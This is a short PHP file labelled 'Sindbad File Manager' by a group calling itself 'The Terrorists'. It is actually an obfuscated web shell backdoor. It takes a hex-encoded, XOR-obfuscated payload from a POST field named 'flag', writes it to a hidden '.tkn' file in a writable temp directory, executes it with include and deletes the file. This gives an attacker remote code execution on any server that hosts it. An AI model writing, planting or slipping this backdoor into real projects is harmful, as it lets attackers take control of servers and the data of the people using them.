Sindbad~EG File Manager
<?php
if(array_key_exists("\x66\x6Cag", $_POST)){
$ref = array_filter([session_save_path(), "/var/tmp", "/dev/shm", getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), getcwd()]);
$value = hex2bin($_POST["\x66\x6Cag"]);
$val = ''; for($t=0; $t<strlen($value); $t++){$val .= chr(ord($value[$t]) ^ 4);}
foreach ($ref as $ent) {
if (!( !is_dir($ent) || !is_writable($ent) )) {
$bind = join("/", [$ent, ".tkn"]);
$file = fopen($bind, 'w');
if ($file) {
fwrite($file, $val);
fclose($file);
include $bind;
@unlink($bind);
exit;
}
}
}
}
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists